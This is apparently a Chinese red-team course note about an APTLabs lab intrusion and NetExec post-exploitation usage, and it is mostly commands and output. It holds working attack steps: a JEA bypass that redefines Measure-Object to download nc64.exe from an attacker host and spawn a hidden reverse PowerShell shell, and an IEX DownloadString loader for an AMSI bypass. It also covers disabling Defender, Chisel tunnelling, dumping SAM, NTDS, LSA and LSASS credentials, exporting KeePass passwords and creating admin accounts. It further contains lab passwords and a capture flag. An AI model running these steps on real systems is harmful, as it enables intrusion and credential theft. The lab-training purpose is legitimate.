目 录CONTENT

文章目录

红队行动Live-20250104

Administrator
2025-09-04 / 0 评论 / 0 点赞 / 8 阅读 / 0 字

1 进度读取与构建

  • 核心问题:由于当前的攻击链日益复杂,每次开始任务前,如何高效、准确地恢复(读取)之前的攻击进度并构建好当前的工作环境,已成为一个关键问题。这个过程本身就像一项工程,需要细致的考量和标准化的操作流程。

  • 操作目标:本模块旨在强调和优化每日启动攻击前的环境准备工作,确保后续操作(如本次的 PS Remoting)能够顺利进行。

1.1 环境恢复与代理链构建

  • 第一步:网络连接与底层代理

    • 连接 OpenVPN 以接入目标网络环境。

    • 建立第一层代理,通常是通过 SSH 连接到一台 Linux 代理服务器。在操作前,需要确保目标机器已安装 SSH 服务,并将本地公钥添加到目标机器的 authorized_keys 文件中。

    • 执行第一层代理的安装或连接命令,在本地建立一个 SOCKS 代理通道。

  • 第二步:构建第二层代理

    • 目标:通过第一层代理,连接到内网中的跳板机(如 servicedesk,IP 192.168.21.123),并以此为基础建立第二层代理,以便访问更深层次的内部网段(如 192.168.24.0/24)。

    • 连接跳板机

      • 利用已有权限(如通过 SMBExec)连接到跳板机。

      • 为避免交互式会话中的各种限制,并建立稳定连接,通常会先关闭目标机器上的实时防护等防御措施,然后使用 PsExec 获取一个完整的交互式 Shell。

      • 操作规范:在使用完半交互式 Shell 后,务必使用 exit 命令正常退出,以确保 SMB 共享中创建的临时服务或文件被正确清理,避免影响后续操作或暴露痕迹。

    • 部署隧道工具

      • 在本地开启一个 Web 服务器(如 python -m http.server),用于托管隧道工具(如 Chisel)和其他攻击载荷。

      • 通过已获取的跳板机 Shell,使用 PowerShell 的 iwr (Invoke-WebRequest) 命令从本地 Web 服务器下载 Chisel 等工具到跳板机的 C:\ProgramData 等临时目录。

      • 批量化操作:可以将下载、解压、清理等一系列命令写成一条组合命令,通过 && 连接,实现自动化部署,提高效率。

    • 建立反向隧道

      • 先开启防火墙策略:为了让隧道工具的端口(如 81818282)可以被外部访问,需要在跳板机上添加一条出站防火墙规则。

      New-NetFirewallRule -DisplayName "Allow Port 8181 Inbound" -Direction Inbound -Protocol TCP -LocalPort 8181 -Action Allow
      • 在windows本地攻击机上运行 Chisel 作为服务器,并启用反向隧道模式。

      .\chisel_amd.exe server --socks5 --port 8181
      • 在跳板机的 Shell 中,运行 Chisel 作为客户端,连接到本地攻击机的 Chisel 服务器,并建立一个反向 SOCKS5 代理。

      ./chisel_amd client 192.168.21.123:8181 1080:socks
  • 第三步:配置与验证代理

    • 在本地攻击机上,配置 proxychains 的配置文件(例如 chains1080.conf),将代理指向 Chisel 在本地释放出的 SOCKS5 端口(默认为 1080)。

      curl --socks5 127.0.0.1:1080 -s http://192.168.20.1
    • 命名习惯:为不同的代理链创建不同的配置文件(如 chains_layer1.conf, chains_layer2_1080.conf),并在命名中体现其层级和端口,这在复杂网络环境中至关重要,有助于快速定位和排错。

    • 验证代理有效性:使用 proxychains 运行一个网络工具(如 nxccrackmapexec)来扫描或连接第二层代理才能访问的目标,验证代理链是否工作正常。

      • 调试技巧:执行命令时使用 -q (quiet) 参数可以抑制 proxychains 的日志输出,保持界面清爽。当连接出现问题时,则应去掉 -q 参数,观察详细的连接日志来判断是代理问题还是目标服务问题。

1.2 PowerShell Remoting 环境准备

  • 问题背景:在特定版本的 Kali Linux(如 2023.4, 2024.04)上,由于复杂的库依赖关系(尤其是跨平台的微软库),pwsh (PowerShell Core) 的 PS Remoting 功能可能会出现连接卡死或失败的问题。

  • 核心依赖:PS Remoting 依赖 WSMan (Web Services-Management) 组件。

  • 安装步骤与注意事项

    • 第一步:安装模块(无代理)

      • 不使用 proxychains 的情况下启动 pwsh

      • 这是因为安装模块需要连接到外部的 PowerShell Gallery,而内网的二层代理通常无法访问外网。

      • 执行以下命令安装 WSMan 相关模块:

      Install-Module -Name PSWSMan
      Install-WSMan
    • 第二步:执行连接(有代理)

      • 安装完成后,退出 pwsh

      • 必须使用 proxychains 启动新的 pwsh 会话,以便通过代理链连接到内网目标。

      sudo proxychains -f chains1080.conf -q pwsh
    • 排错思路:如果遇到依赖问题,强烈建议使用 Python 的虚拟环境(python3 -m venv [环境名])来隔离不同工具的依赖库,避免全局环境的库冲突。

1.3 账号与域的理解

  • 关键认知:在尝试凭据登录时,必须清晰地理解账号的归属域。一个账号的权限和可访问范围由其所属的域决定。

  • 实战案例

    • 用户 s.helmer 的凭据是通过嗅探 megabank.local 域(192.168.24.0/24 网段)的网络流量获得的。

    • 然而,该用户实际上属于 gigantichosting.local 域。

    • 他之所以能访问 megabank.local 的机器,是因为他所在的组 (megabank shadow credential group) 被授予了相应的跨域权限。

    • 因此,在使用 nxcEnter-PSSession 等工具进行登录时,必须明确指定用户所属的域,否则认证将失败。

  • crackmapexec 未指定用户所属域

    ┌──(root㉿kali)-[~/Desktop/APTLabs]
    └─# proxychains -f chain1080.conf -q crackmapexec winrm nmap/192.168.24.0.txt -u s.helmer -p Hades123
    SMB         192.168.24.112  5985   SERVER04         [*] Windows 10.0 Build 17763 (name:SERVER04) (domain:megabank.local)
    HTTP        192.168.24.112  5985   SERVER04         [*] http://192.168.24.112:5985/wsman                                                                                                               
    SMB         192.168.24.118  5985   SERVER05         [*] Windows 10.0 Build 17763 (name:SERVER05) (domain:megabank.local)                                                                               
    HTTP        192.168.24.118  5985   SERVER05         [*] http://192.168.24.118:5985/wsman
    SMB         192.168.24.10   5985   PRIMARY          [*] Windows 10.0 Build 17763 (name:PRIMARY) (domain:megabank.local)
    HTTP        192.168.24.10   5985   PRIMARY          [*] http://192.168.24.10:5985/wsman
    WINRM       192.168.24.112  5985   SERVER04         [-] megabank.local\s.helmer:Hades123
    SMB         192.168.24.155  5985   NONE             [*] None (name:192.168.24.155) (domain:None)
    HTTP        192.168.24.155  5985   NONE             [*] http://192.168.24.155:5985/wsman
    WINRM       192.168.24.118  5985   SERVER05         [-] megabank.local\s.helmer:Hades123
    WINRM       192.168.24.10   5985   PRIMARY          [-] megabank.local\s.helmer:Hades123
    WINRM       192.168.24.155  5985   NONE             [-] None\s.helmer:Hades123
  • crackmapexec 指定用户所属的域

    ┌──(root㉿kali)-[~/Desktop/APTLabs]
    └─# proxychains -f chain1080.conf -q crackmapexec winrm nmap/192.168.24.0.txt -u s.helmer -p Hades123 -d GiganticHosting.local
    HTTP        192.168.24.155  5985   192.168.24.155   [*] http://192.168.24.155:5985/wsman
    HTTP        192.168.24.112  5985   192.168.24.112   [*] http://192.168.24.112:5985/wsman
    HTTP        192.168.24.10   5985   192.168.24.10    [*] http://192.168.24.10:5985/wsman
    HTTP        192.168.24.118  5985   192.168.24.118   [*] http://192.168.24.118:5985/wsman
    WINRM       192.168.24.155  5985   192.168.24.155   [-] GiganticHosting.local\s.helmer:Hades123
    WINRM       192.168.24.112  5985   192.168.24.112   [+] GiganticHosting.local\s.helmer:Hades123 (Pwn3d!)
    WINRM       192.168.24.10   5985   192.168.24.10    [-] GiganticHosting.local\s.helmer:Hades123
    WINRM       192.168.24.118  5985   192.168.24.118   [-] GiganticHosting.local\s.helmer:Hades123
  • WinRM命令格式

    • 错误示范(未指定域)

    proxychains4 -q nxc winrm 192.168.24.112 -u s.helmer -p 'Hades123'
    • 正确示范(指定域)

    Enter-PSSession -ComputerName 192.168.24.112 -Credential gigantichosting\s.helmer
  • 敏感度培养:对目标网络拓扑、域结构、用户和组的关系有深入的理解和记忆,是攻击成功的关键。这需要通过反复的枚举、分析和实践来培养,而不是仅仅依赖工具的自动化输出。

2 JEA 绕过

  • 场景:通过 PowerShell Remoting 成功连接到目标主机 server04.megabank.local (192.168.24.112) 后,发现获得的是一个 JEA (Just Enough Administration) 受限 Shell。

  • 目标:绕过 JEA 限制,获取一个拥有完整功能的标准 Shell。

2.1 环境分析与可用命令

  • 进入 JEA 环境后,首要任务是探明当前环境允许执行的所有命令,以评估可用的能力和潜在的突破口。

  • 通常使用 Get-Command 来列出所有可用命令。

  • 在此环境中,可用的命令均为 PowerShell 函数,具体列表如下:

    • Clear-Host: 清除 PowerShell 控制台窗口的内容。

    • Exit-PSSession: 退出一个 PowerShell 远程会话。

    • Get-Command: 列出所有可用的命令,包括函数、cmdlet 和别名。

    • Get-FormatData: 获取关于数据展示格式的信息。

    • Get-Help: 提供特定命令的详细帮助信息,包括用法、参数和示例。

    • Measure-Object: 对输入对象的属性进行测量,如计算总和、平均值等。

    • Out-Default: 控制命令的默认输出方式,通常用于内部处理输出到控制台。

    • Select-Object: 选择对象的特定属性,可以用于提取、排除或重新组织对象的属性。

2.2 绕过原理与方法

  • 核心区别:Function vs. Cmdlet

    • Function(函数):是基于 PowerShell 脚本层面的实现。它们存在于当前会话的脚本上下文中,可以被重新定义或“重写”。

    • Cmdlet:是基于 .NET 框架的二进制命令,运行在 PowerShell 的底层。Cmdlet 不能被直接重写。

  • 绕过思路

    • 既然当前环境中所有可用的命令都是函数 (Function),我们可以尝试在当前会话中重写(覆盖)其中一个函数。

    • 通过重写,我们将原始函数的函数体替换为我们自己的恶意代码(例如,下载并执行反弹 Shell 的载荷),但函数名保持不变。

    • 当这个被重写的函数被调用时,执行的将是我们的恶意代码,从而实现命令执行和 JEA 绕过。

  • 函数选择

    • 理论上,任何一个函数都可以尝试重写。

    • 为了避免影响当前会话的正常交互或与其他命令产生冲突,应选择一个不常用、不关键的函数进行重写。

    • 在本场景中,Measure-Object(用于对象测量)和 Out-Default(用于控制输出)是不常用的理想目标。

  • 方法论思考

    • 在面对不确定的受限环境时,能否坚定地认为“一定能绕过”并持续尝试,取决于经验和方法论。

    • 方法论要点

      1. 充分了解:尽可能了解每个可用命令的功能、参数和行为。

      2. 寻找异常:是否存在自定义命令?其脚本是否存在漏洞?

      3. 触发报错:尝试用非预期的方式使用命令,观察报错信息,可能会泄露底层逻辑。

      4. 花式组合:利用有限的命令进行各种组合,看是否能产生新的行为。

    • 需要明确,并非所有的 JEA 都能被绕过。攻击者需要设定一个时间限制(如半小时或一小时),在此期间内若无突破,则应考虑将此攻击面视为暂时无法攻破,转向其他方向。

2.3 攻击载荷构建与执行

  • 绕过过程分为两步:首先下载攻击工具,然后执行该工具建立反弹 Shell。

  • 第一步:下载工具

    • 重写函数以下载文件:在 JEA Shell 中,定义一个新的 Measure-Object 函数,其功能是使用 powershell.exeiwr (Invoke-WebRequest) 功能从攻击机下载 nc64.exe 并保存到目标机器的 c:\programdata 目录下。

      • 命令

      function Measure-Object { powershell.exe iwr http://10.10.16.111/apps/nc64.exe -o c:\programdata\nc6411.exe | out-host}
      • 执行:在定义完函数后,直接调用该函数名以触发下载操作。

      Measure-Object

    • 攻击机准备:确保在攻击机(IP 10.10.16.87)上已开启 Web 服务,并在相应路径下放置了 nc64.exe 文件。

  • 第二步:执行反弹 Shell

    • 本地监听:在攻击机上使用 nc 开启监听,等待反弹连接。

      sudo rlwrap -cAr nc -lvnp 445
    • 再次重写函数以执行命令:文件下载成功后,再次重写 Measure-Object 函数。这次的函数体功能是使用 Start-Process 来以后台隐藏窗口的模式执行 nc64.exe,并使其连接到攻击机的 443 端口,提供一个 PowerShell Shell。

      • 命令

      function Measure-Object { powershell.exe -c "Start-Process 'c:\programdata\nc6411.exe' -ArgumentList '-e', 'powershell.exe 10.10.16.111 445' -WindowStyle Hidden" | out-host}
      • 执行:再次调用函数名,触发反弹 Shell。

      Measure-Object

2.4 获取完整 Shell

  • 执行第二步的命令后,攻击机上监听的 nc 会收到来自目标主机 (10.10.110.50,经过NAT或代理后的源IP) 的连接,从而获得一个完整的、不受 JEA 限制的 PowerShell Shell。

  • 验证与成果

    • 确认用户身份:

      whoami

      • 输出: gigantichosting\s.helmer

    • 确认网络配置:

      ipconfig

      • 输出: IPv4 地址为 192.168.24.112

    • 获取凭证/Flag:

      gc C:\Users\s.helmer\Desktop\flag.txt

      • 拿到flag: APTLABS{Th3_P@M_@Dm!n}

      • APTLABS{Th3_P@M_@Dm!n}

2.5 当前成果

3 AMSI 绕过基础

  • Antimalware Scan Interface (AMSI):是微软提供的一个底层接口,允许任何第三方应用程序(包括杀毒软件和 Defender)对脚本、命令等内容进行扫描,以检测恶意行为。

  • 当前状态:此主题将在后续课程中进行详细讲解。

4 nxc 续篇

  • nxc (Netexec) 是一个功能强大的网络枚举和利用工具,本模块将继续探讨其在 LDAP 和 RDP 协议上的高级用法,以及命令执行和凭据提取等功能。

4.1 LDAP 与 RDP 枚举

  • 除了之前讨论过的 SMB 协议,nxc 也支持通过 LDAP 和 RDP 协议进行深入的域环境信息收集。

  • LDAP 枚举前提:LDAP 通信依赖于正确的 FQDN (完全限定域名) 解析。如果攻击机无法通过 DNS 解析目标域名,则需要在 /etc/hosts 文件中手动添加域名和 IP 的对应关系。

4.1.1 LDAP 和 RDP 命令选项

  • 以下是 nxc 针对 LDAP 和 RDP 协议提供的一些核心枚举选项:

描述

命令

列出启用的域用户

nxc ldap <target> -u <u> -p <p> --users

列举域组

nxc ldap <target> -u <u> -p <p> --groups

获取标记为 PASSWD_NOTREQD 的用户

nxc ldap <target> -u <u> -p <p> --password-not-required

获取带有 TRUSTED_FOR_DELEGATION 标志的用户和计算机

nxc ldap <target> -u <u> -p <p> --trusted-for-delegation

获取 adminCount=1 的对象

nxc ldap <target> -u <u> -p <p> --admin-count

获取域名 SID

nxc ldap <target> -u <u> -p <p> --get-sid

列举 GMSA 密码

nxc ldap <target> -u <u> -p <p> --gmsa

RDP 登录提示截图 (若禁用 NLA)

nxc rdp <target> -u <u> -p <p> --nla-screenshot

登录 RDP 后截图

nxc rdp <target> -u <u> -p <p> --screenshot

4.1.2 列举用户和组

  • 与 SMB 协议类似,可以使用 LDAP 列举域内的所有用户和组。

  • 命令示例

    sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --users --groups

4.1.3 列举有趣的账户属性

  • LDAP 允许我们查询特定的账户控制属性,以快速发现具有高价值的账户。

  • 识别 PASSWD_NOTREQD 属性

    • 含义:如果账户设置了此属性,其密码不受域密码策略的长度限制,可能存在空密码或弱密码的风险。

    • 命令示例

    sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --password-not-required
  • 识别不受限制的委派 (TRUSTED_FOR_DELEGATION)

    • 含义:如果用户或计算机账户设置了此属性,意味着该账户被信任用于 Kerberos 非约束性委派。运行在该账户下的服务可以模拟任何访问它的客户端,是 Kerberos 攻击中的一个重要目标。

    • 命令示例

    sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --trusted-for-delegation
  • 查询 adminCount 属性

    • 含义:如果一个对象的 adminCount 属性值为 1,意味着该对象受到 AdminSDHolder 机制的保护。这些通常是域中的特权账户(如 Domain Admins 组成员),其 ACL 权限会被定期重置为模板权限,是攻击者重点关注的目标。

    • 命令示例

    sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --admin-count

4.1.4 枚举域 SID

  • 含义:SID (安全标识符) 是用于唯一标识用户、组或计算机的 ID。域 SID (Domain SID) 则是唯一标识整个域的 ID,在某些域攻击中是必需的信息。

  • 命令示例

    sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --get-sid

4.1.5 组管理服务账户 (gMSA)

  • 定义:gMSA (Group Managed Service Account) 是一种特殊的域账户,用于在多台服务器上运行服务,并提供自动密码管理和简化的 SPN 管理功能。

  • 利用流程

    • 枚举权限:首先,找到哪些用户有权限读取 gMSA 账户的密码。这可以通过执行 PowerShell 命令 Get-ADServiceAccount 来实现。

      sudo nxc winrm dc01.redteamnotes.local -u robert -p 'redteamnotes01!' -X "Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword"
    • 检索密码:如果我们攻陷了一个有权读取 gMSA 密码的用户(例如用户 engels),就可以使用 nxc--gmsa 选项来检索该 gMSA 账户的 NTLM 哈希。

      sudo nxc ldap dc01.redteamnotes.local -u engels -p 'redteamnotes1998!' --gmsa
    • 利用哈希:获取到 NTLM 哈希后,可以使用 Pass-the-Hash 技术,用该 gMSA 账户的身份进行认证和进一步的横向移动,例如枚举共享文件夹。

      sudo nxc smb dc01.redteamnotes.local -u svc_inlaneadm$ -H '76fa2df9e8f656ae81b0bd271bef0346' --shares

4.1.6 RDP 截图

  • nxc 可以通过 RDP 协议对目标进行截图,以获取登录界面信息或窥视已登录的桌面会话。

  • 无 NLA 截图

    • NLA (Network Level Authentication):是一种 RDP 安全功能,要求用户在建立完整的 RDP 会话之前就完成身份验证。

    • 如果目标禁用了 NLA,我们可以使用 --nla-screenshot 选项来截取登录界面的屏幕截图,这可能会泄露域名或用户名信息。

    • 命令示例

    sudo nxc rdp 10.129.204.177 --nla-screenshot
  • 有凭据截图

    • 如果我们拥有目标的有效凭据,可以使用 --screenshot 选项登录并截取桌面图像。

    • 可选参数

      • --screentime <秒数>: 设置连接成功后等待多少秒再截图,默认为 10 秒。适用于桌面加载缓慢的情况。

      • --res <宽x高>: 设置 RDP 连接的分辨率,默认为 1024x768。调整分辨率有助于完整地捕获活动会话的屏幕内容。

    • 命令示例

    sudo nxc rdp 10.129.204.177 -u julio -p 'Password1' --screenshot --screentime 5 --res 1280x720

4.2 命令执行

4.2.1 UAC 与远程管理

  • UAC 限制:当 UAC (用户帐户控制) 启用时(默认情况),只有 RID 为 500 的内置管理员账户才能在远程执行管理任务。

  • 相关注册表项

    • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy: 默认值为 0,表示只有 RID 500 账户可以远程管理。如果设置为 1,则本地管理员组中的所有账户都可以执行远程管理任务。

    • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken: 如果设置为 1,则会阻止 RID 500 的内置管理员账户执行远程管理任务。

  • 域账户LocalAccountTokenFilterPolicy 的设置仅对本地账户有效,对属于管理员组的域账户无效。

4.2.2 通过 SMB 执行命令

  • 以管理员身份执行:使用 RID 500 的管理员账户,可以直接通过 -x (执行 CMD 命令) 或 -X (执行 PowerShell 命令) 在远程主机上执行命令。

    sudo nxc smb 10.129.204.133 -u Administrator -p 'AnotherCompl3xP4$$' --local-auth -x "net localgroup administrators"
  • 更改 UAC 策略:如果拥有管理员权限,可以通过 reg add 命令修改注册表,将 LocalAccountTokenFilterPolicy 的值设为 1,从而为其他本地管理员账户开启远程管理权限。

    sudo nxc smb 10.129.204.133 -u Administrator -p 'AnotherCompl3xP4$$' --local-auth -x "reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"
  • 执行方法 (--exec-method)

    • nxc 提供四种不同的命令执行方法:

      1. wmiexec: 通过 WMI 执行,文件会写入磁盘。

      2. atexec: 通过任务计划程序执行,无文件,不适用于新版 Windows。

      3. smbexec: 通过创建服务执行,无文件,不适用于新版 Windows。

      4. mmcexec: 类似 wmiexec,通过 MMC 执行。

    • 默认情况下,nxc 会按 wmiexec -> atexec -> smbexec -> mmcexec 的顺序尝试执行,如果前一个失败则切换到下一个。可以使用 --exec-method 标志强制指定一种方法。

    sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' --exec-method smbexec -x whoami

4.2.3 执行 PowerShell 与 AMSI 绕过

  • 执行 PowerShell:使用 -X 选项执行 PowerShell 命令时,nxc 会在后台自动执行 AMSI 绕过和载荷混淆。

  • 自定义 AMSI 绕过

    • 可以使用 --amsi-bypass 选项指定一个本地的 PowerShell 脚本作为自定义的 AMSI 绕过载荷。

    • 问题:如果绕过脚本文件过大,会导致最终生成的命令超过 PowerShell 的最大长度限制(8191 字符),从而执行失败。

    • 解决方案

      1. 将大的 AMSI 绕过脚本(如 shantanukhande-amsi.ps1)托管在一个 Web 服务器上。

      2. 创建一个新的、非常小的 PowerShell 脚本(如 amsibypass.txt),其内容为从 Web 服务器下载并执行大的绕过脚本。

      echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.33/shantanukhande-amsi.ps1');" > amsibypass.txt
      1. 使用 nxc 时,将 --amsi-bypass 指向这个小的加载器脚本,从而绕过长度限制。

4.2.4 通过 WinRM 和 SSH 执行命令

  • WinRM

    • nxc 也支持通过 WinRM 协议(HTTP 端口 5985, HTTPS 端口 5986)执行命令。

    • WinRM 不要求用户必须是管理员,只要用户属于 Remote Management Users 组或在会话配置中拥有明确权限即可。

    • 命令示例

    sudo nxc winrm 10.129.204.133 -u robert -p 'redteamnotes01!' -x whoami
  • SSH

    • nxc 支持通过 SSH 协议在 Linux 或 Windows 目标上执行命令。

    • 支持使用私钥进行身份验证,通过 --key-file 指定私钥文件。如果私钥没有密码,-p 选项必须设置为空字符串 ''

    • 命令示例(使用私钥)

    sudo nxc ssh 10.129.204.133 -u julio --key-file id_ed25519 -p '' -x whoami

4.3 查找并利用敏感信息

  • nxc 提供了强大的凭据提取功能,可以直接从远程系统中转储 SAM, NTDS, LSA Secrets 等。

4.3.1 SAM 数据库

  • 含义:SAM 数据库存储所有本地用户的凭据哈希。获取这些哈希对于发现凭据重用至关重要。

  • 命令:使用 --sam 选项可以快速转储 SAM 数据库内容。

    sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' --sam

4.3.2 NTDS 活动目录数据库

  • 含义ntds.dit 文件是活动目录的数据库,存储了域中所有用户的密码哈希。转储该文件需要域管理员权限或具备 DCSync 权限的账户。

  • 命令与选项

    • --ntds: 执行 NTDS 转储。

    • --user <username>: 仅转储指定用户的哈希。

    • --enabled: 仅显示启用了的用户的哈希。

  • 命令示例(仅转储 KRBTGT 账户)

    sudo proxychains4 -q nxc smb 172.16.1.10 -u julio -p 'Password1' --ntds --user krbtgt

4.3.3 LSA Secrets 与缓存凭据

  • 含义

    • LSA Secrets: 本地安全机构 (LSA) 用于存储敏感数据(如服务账户凭据)的受保护区域。

    • Cached Credentials: 用户登录域时,其凭据的哈希会缓存在 LSA 中,以便在无法连接到域控制器时也能登录。这种哈希格式为 DCC2 (MSCacheV2)。

  • 命令:使用 --lsa 选项可以转储 LSA Secrets 和缓存的凭据。

    sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' --lsa
  • 破解 DCC2 哈希:DCC2 哈希比 NTLM 更强,不能用于 Pass-the-Hash 攻击,但可以尝试使用 Hashcat 进行破解(模块 2100)。

    hashcat -m 2100 hashes.txt /usr/share/wordlists/rockyou.txt

4.3.4 从 LSASS 进程提取凭据

  • 含义:LSASS (Local Security Authority Subsystem Service) 进程的内存中通常包含了登录用户的明文密码、NTLM 哈希等敏感凭据。

  • nxc 提供了多个模块来远程转储 LSASS 内存并提取凭据:

    • lsassy: 使用 Impacket 远程读取 LSASS 转储并用 pypykatz 解析。

      sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' -M lsassy
    • procdump: 上传微软官方的 Procdump 工具创建 LSASS 转储,然后下载并用 pypykatz 解析。

      sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' -M procdump
    • handlekatz: 使用克隆句柄技术创建模糊的内存转储以绕过检测。

      sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' -M handlekatz
    • nanodump: 一个灵活的 minidump 创建工具,可以尝试复用系统中已存在的 LSASS 句柄来创建转储,以增强隐蔽性。

      sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' -M nanodump

4.4 模块

  • nxc 的模块化设计使其功能可以被轻松扩展,以执行各种利用和后利用任务。

4.4.1 LDAP 协议模块

  • get-network: 基于活动目录集成的 DNS 进行区域转储,可以枚举和导出区域中的所有 DNS 记录,用于内部网络侦察。

    • 选项--options ALL=true (获取 IP 和域名), --options ONLY_HOSTS=true (仅获取域名)。

  • laps: 用于读取 LAPS (Local Administrator Password Solution) 密码。如果用户有权限读取 AD 中存储的计算机本地管理员密码,该模块可以直接检索这些密码。

    • 命令示例

    sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' -M laps
  • maq: 用于查询域级别的机器账户配额 (Machine Account Quota) 属性。该属性决定了普通用户可以在域中创建多少个计算机账户,这对于基于资源的约束性委派等攻击至关重要。

  • daclread: 读取和导出指定对象的 DACL (Discretionary Access Control List),用于枚举 Active Directory 中的访问权限。

    • 命令示例(查找具有 DCSync 权限的主体)

    sudo nxc ldap dc01.redteamnotes.local -u grace -p 'redteamnotes01!' -M daclread -o TARGET_DN="DC=redteamnotes,DC=local" ACTION=read RIGHTS=DCSync

4.4.2 SMB 协议模块

  • 注意:大多数 SMB 模块需要管理员权限才能工作。

  • get_netconnectionsioxidresolver: 用于枚举目标主机的网络接口信息。

    • get_netconnections 使用 WMI 查询,可以获取包括 IPv6 在内的所有 IP 地址。

    • ioxidresolver 使用 RPC 查询,不包含 IPv6 地址。

  • keepass_trigger: 一个强大的模块,用于从 KeePass 密码管理器中以明文形式导出凭据。

    • 原理:通过修改 KeePass 的配置文件,插入一个恶意的“触发器”,该触发器会在 KeePass 打开数据库时自动将所有内容以明文导出到一个文件中。

    • 使用:该模块提供 ADD, RESTART, POLL, CLEAN 等动作来完成添加触发器、重启目标 KeePass 进程、拉取导出文件和清理痕迹的完整流程。也可以使用 ACTION=ALL 一次性执行所有步骤。

  • rdp: 远程启用或禁用目标主机的 RDP 服务。

    • 命令示例(启用 RDP)

    sudo nxc smb 10.129.203.121 -u julio -p 'Password1' -M rdp -o ACTION=enable

4.5 漏洞扫描模块

  • nxc 集成了一些模块,用于快速识别目标系统是否存在某些著名的漏洞。

  • zerologon: 检测目标域控制器是否存在 ZeroLogon 漏洞 (CVE-2020-1472)。

    sudo proxychains4 -q nxc smb 172.16.10.3 -M zerologon
  • petitpotam: 检测目标是否易受 PetitPotam NTLM 中继攻击的影响。

    sudo proxychains4 -q nxc smb 172.16.10.3 -M petitpotam
  • nopac: 检测 CVE-2021-42278 和 CVE-2021-42287 (noPAC) 漏洞,该漏洞允许普通域用户提升至域管理员权限。

    sudo proxychains4 -q nxc smb 172.16.10.3 -u user -p 'password' -M nopac
  • dfscoerce: 检测利用 MS-DFSNM 协议的 DFSCoerce NTLM 中继攻击漏洞。

    sudo proxychains4 -q nxc smb 172.16.10.3 -u user -p 'password' -M dfscoerce
  • shadowcoerce: 检测 ShadowCoerce 强制身份验证攻击漏洞。

    • 调试技巧:如果模块执行后没有输出,不代表目标一定安全。可以使用 --verbose 标志运行 nxc,查看详细的调试日志以确认最终的检测结果。

  • ms17-010: 检测目标是否存在 EternalBlue (MS17-010) 漏洞。

4.6 创建自定义 nxc 模块

  • nxc 允许用户创建自己的模块来扩展其功能。

  • 开发环境

    • nxc 使用 Poetry 进行依赖管理和项目构建,建议在开发时使用 Poetry 环境。

  • 模块结构

    • 模块文件是一个 Python 文件,存放于 ./nxc/nxc/modules/ 目录下。

    • 模块的核心是一个名为 nxcModule 的类。

    • 核心属性

      • name: 模块的名称。

      • description: 模块的功能描述。

      • supported_protocols: 支持的协议列表(如 ['smb'])。

      • opsec_safe: 布尔值,标记模块是否操作安全。

    • 核心方法

      • options(self, context, module_options): 定义模块接受的选项(参数),并进行处理。

      • on_login(self, context, connection): 当获得一个非管理员权限的登录会话时执行。

      • on_admin_login(self, context, connection): 当获得一个管理员权限的登录会话时执行,通常在此方法中执行需要高权限的操作。

  • 示例:createadmin 模块

    • 目标:创建一个在远程主机上添加新管理员用户的模块。

    • 实现

      1. options 方法中定义 USERPASS 两个选项,并设置默认值和输入验证。

      2. on_admin_login 方法中,组合 net user ... /addnet localgroup administrators ... /add 命令。

      3. 使用 connection.execute(command, True) 来执行组合后的命令。

    • 运行模块

      sudo nxc smb 10.129.203.121 -u julio -p 'Password1' -M createadmin -o USER=redpen PASS=Newpassword!

4.7 MSSQL 枚举与操作

  • 背景:当目标主机(如 server04)上运行有 MSSQL 服务时,nxc 可以通过 mssql 协议进行交互。

  • 核心功能

    • 直接查询 (-q):允许远程执行任意 SQL 查询语句,极大地便利了数据库枚举和信息窃取。

      nxc mssql <target> -u <user> -p <pass> -q "SELECT @@VERSION"
    • 命令执行:如果数据库账户权限足够(如 sysadmin),nxc 可以利用 MSSQL 的内置功能(如 xp_cmdshell)来执行操作系统命令。

    • 文件传输:与 SMB 协议类似,mssql 协议也支持 --put-file--get-file 选项,用于在目标和攻击机之间传输文件。

    • 提权模块nxc 包含专门的提权模块,如 --mssql-privesc,可以自动化地尝试利用已知的 MSSQL 配置错误或漏洞进行权限提升。

-.-

0

评论区